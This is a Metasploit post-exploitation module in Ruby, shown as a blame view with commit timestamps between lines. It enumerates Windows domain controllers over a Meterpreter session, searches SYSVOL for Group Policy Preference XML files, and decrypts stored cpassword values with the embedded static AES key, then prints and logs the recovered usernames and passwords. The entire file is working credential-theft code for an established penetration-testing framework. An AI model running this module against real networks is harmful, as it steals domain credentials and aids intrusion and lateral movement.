metasploit-framework/modules/post/windows/gather/credentials/gpp.rb

475 lines
14 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Group Policy Preferences Saved Password Extraction',
'Description' => %q{
This module enumerates the victim machine's domain controller and
2012-06-21 17:46:20 +00:00
connects to it via SMB. It then looks for Group Policy Preference XML
files containing local user accounts and passwords. It then parses the
XML files and decrypts the passwords.
2012-06-21 17:46:20 +00:00
Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific
domains on the network. This module will enumerate any domain controllers for
those domains.
2012-06-21 17:46:20 +00:00
Users can specify ALL=True to target all domains and their domain controllers
on the network.
2012-06-22 18:12:42 +00:00
Utilizes code from enum_domain and enum_domains post modules.
},
'License' => MSF_LICENSE,
'Author' =>[
2012-06-22 18:12:42 +00:00
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
2012-06-22 18:12:42 +00:00
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
'TheLightCosine <thelightcosine[at]gmail.com'
],
2012-06-21 17:46:20 +00:00
'References' =>
[
2012-06-22 10:14:19 +00:00
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
2012-06-22 17:11:15 +00:00
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
2012-06-21 17:46:20 +00:00
register_options(
[
OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]),
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]),
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains - DOMAINS="domain1 domain2 etc".']),
], self.class)
end
def run
dcs = []
group_paths = []
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
service_paths = []
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
printer_paths = []
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
drive_paths = []
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
datasource_paths = []
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
task_paths = []
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
2012-06-21 17:46:20 +00:00
if !datastore['DOMAINS'].to_s.empty?
user_domains = datastore['DOMAINS'].to_s.split(' ')
print_status "User supplied domains #{user_domains}"
2012-06-21 17:46:20 +00:00
user_domains.each do |domain_name|
found_dcs = enum_dcs(domain_name)
dcs << found_dcs[0] unless found_dcs.to_a.empty?
end
elsif datastore['ALL']
enum_domains.each do |domain|
domain_name = domain[:domain]
if domain_name == "WORKGROUP" || domain_name.empty?
print_status "Skipping '#{domain_name}'..."
next
end
2012-06-21 17:46:20 +00:00
found_dcs = enum_dcs(domain_name)
# We only wish to enumerate one DC for each Domain.
dcs << found_dcs[0] unless found_dcs.to_a.empty?
end
elsif datastore['CURRENT']
dcs << get_domain_controller
else
print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments"
return nil
2012-06-21 17:46:20 +00:00
end
dcs = dcs.flatten.compact
dcs.each do |dc|
print_status "Searching on #{dc}..."
sysvol_path = "\\\\#{dc}\\SYSVOL\\"
begin
# Enumerate domain folders
session.fs.dir.foreach(sysvol_path) do |domain_dir|
next if domain_dir =~ /^(\.|\.\.)$/
domain_path = "#{sysvol_path}#{domain_dir}\\Policies\\"
print_status "Looking in domain folder #{domain_path}"
# Enumerate policy folders {...}
begin
session.fs.dir.foreach(domain_path) do |policy_dir|
next if policy_dir =~ /^(\.|\.\.)$/
policy_path = "#{domain_path}\\#{policy_dir}"
group_paths << find_path(policy_path, group_path)
group_paths << find_path(policy_path, group_path_user)
2012-06-22 13:36:29 +00:00
service_paths << find_path(policy_path, service_path)
printer_paths << find_path(policy_path, printer_path)
drive_paths << find_path(policy_path, drive_path)
datasource_paths << find_path(policy_path, datasource_path)
datasource_paths << find_path(policy_path, datasource_path_user)
task_paths << find_path(policy_path, task_path)
task_paths << find_path(policy_path, task_path_user)
end
rescue Rex::Post::Meterpreter::RequestError => e
2012-06-22 17:11:15 +00:00
print_error "Received error code #{e.code} when reading #{domain_path}"
end
end
rescue Rex::Post::Meterpreter::RequestError => e
2012-06-22 17:11:15 +00:00
print_error "Received error code #{e.code} when reading #{sysvol_path}"
end
end
group_paths = group_paths.flatten.compact
service_paths = service_paths.flatten.compact
printer_paths = printer_paths.flatten.compact
drive_paths = drive_paths.flatten.compact
datasource_paths = datasource_paths.flatten.compact
task_paths = task_paths.flatten.compact
2012-06-22 13:36:29 +00:00
print_status "Results from Groups.xml:"
group_paths.each do |path|
mxml, dc = get_xml(path)
parse_group_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from Services.xml:"
service_paths.each do |path|
mxml, dc = get_xml(path)
parse_service_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from Printers.xml:"
printer_paths.each do |path|
mxml, dc = get_xml(path)
parse_printer_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from Drives.xml:"
drive_paths.each do |path|
mxml, dc = get_xml(path)
parse_drive_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from DataSources.xml:"
datasource_paths.each do |path|
mxml, dc = get_xml(path)
parse_datasource_xml(mxml, dc)
end
2012-06-22 13:36:29 +00:00
print_status "Results from ScheduledTasks.xml:"
task_paths.each do |path|
mxml, dc = get_xml(path)
parse_scheduled_task_xml(mxml, dc)
end
end
def find_path(path, xml_path)
xml_path = "#{path}\\#{xml_path}"
begin
return xml_path if client.fs.file.stat(xml_path)
rescue Rex::Post::Meterpreter::RequestError => e
# No permissions for this specific file.
2012-06-22 17:11:15 +00:00
return nil
end
end
def get_xml(path)
begin
groups = client.fs.file.new(path,'r')
until groups.eof
data = groups.read
end
2012-06-21 17:46:20 +00:00
domain = path.split('\\')[2]
2012-06-22 13:36:29 +00:00
mxml = REXML::Document.new(data).root
2012-06-22 13:36:29 +00:00
return mxml, domain
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
end
end
2012-06-22 13:36:29 +00:00
def parse_service_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['accountName']
service_name = node.attributes['serviceName']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} SERVICE: #{service_name} CHANGED: #{changed}"
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def parse_printer_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['username'] #lowercase in MSDN
path = node.attributes['path']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}"
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def parse_drive_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
2012-06-22 17:47:44 +00:00
user = node.attributes['userName'] #lowercase in MSDN but camelCase in practice
path = node.attributes['path']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}"
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def parse_datasource_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['username'] #lowercase in MSDN
dsn = node.attributes['dsn']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DSN: #{dsn} CHANGED: #{changed}"
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def parse_scheduled_task_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['runAs']
task_name = node.attributes['name']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-22 13:36:29 +00:00
pass = decrypt(epassword)
2012-06-22 13:36:29 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} Task: #{task_name} CHANGED: #{changed}"
report_creds(user,pass)
end
end
def parse_group_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
2012-06-22 13:36:29 +00:00
user = node.attributes['userName']
newname = node.attributes['newName']
disabled = node.attributes['acctDisabled']
action = node.attributes['action']
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
description = node.attributes['description']
full_name = node.attributes['fullName']
no_change = node.attributes['noChange']
change_logon = node.attributes['changeLogon']
sub_authority = node.attributes['subAuthority']
2012-06-22 13:36:29 +00:00
changed = node.parent.attributes['changed']
2012-06-21 17:46:20 +00:00
# Check if policy also specifies the user is renamed.
if !newname.to_s.empty?
user = newname
end
2012-06-21 17:46:20 +00:00
pass = decrypt(epassword)
2012-06-21 17:46:20 +00:00
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled} CHANGED: #{changed}"
2012-06-21 17:46:20 +00:00
report_creds(user,pass)
end
end
2012-06-22 13:36:29 +00:00
def report_creds(user, pass)
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
2012-06-22 13:36:29 +00:00
report_auth_info(
:host => session.sock.peerhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => source_id,
:source_type => "exploit",
:user => user,
:pass => pass)
end
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
2012-06-22 10:36:27 +00:00
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
2012-06-22 13:36:29 +00:00
return pass
end
2012-06-22 10:14:19 +00:00
#enum_domains.rb
def enum_domains
print_status "Enumerating Domains on the Network..."
2012-06-22 17:11:15 +00:00
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
# Estimate new buffer size on percentage recovered.
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
if percent_found > 0
buffersize = (buffersize/percent_found).to_i
else
buffersize += 500
end
2012-06-21 17:46:20 +00:00
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
end
count = result['totalentries']
print_status("#{count} domain(s) found.")
startmem = result['bufptr']
base = 0
domains = []
if count == 0
return domains
end
mem = client.railgun.memread(startmem, 8*count)
count.times do |i|
x = {}
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
domains << x
base = base + 8
end
return domains
end
2012-06-22 10:14:19 +00:00
#enum_domains.rb
def enum_dcs(domain)
print_status("Enumerating DCs for #{domain}")
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
end
if result['totalentries'] == 0
print_error "No Domain Controllers found for #{domain}"
return nil
end
count = result['totalentries']
startmem = result['bufptr']
base = 0
mem = client.railgun.memread(startmem, 8*count)
hostnames = []
count.times do |i|
t = {}
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
base = base + 8
print_good "DC Found: #{t[:dc_hostname]}"
hostnames << t[:dc_hostname]
end
2012-06-21 17:46:20 +00:00
return hostnames
end
2012-06-21 17:46:20 +00:00
#enum_domain.rb
def reg_getvaldata(key,valname)
value = nil
begin
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
v = open_key.query_value(valname)
value = v.data
open_key.close
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
end
return value
end
2012-06-22 10:14:19 +00:00
#enum_domain.rb
def get_domain_controller()
domain = nil
begin
subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
v_name = "DCName"
domain = reg_getvaldata(subkey, v_name)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
end
if domain.nil?
print_error "No domain controller retrieved - is this machine part of a domain?"
return nil
else
return domain.sub!(/\\\\/,'')
end
end
end
2012-06-21 17:46:20 +00:00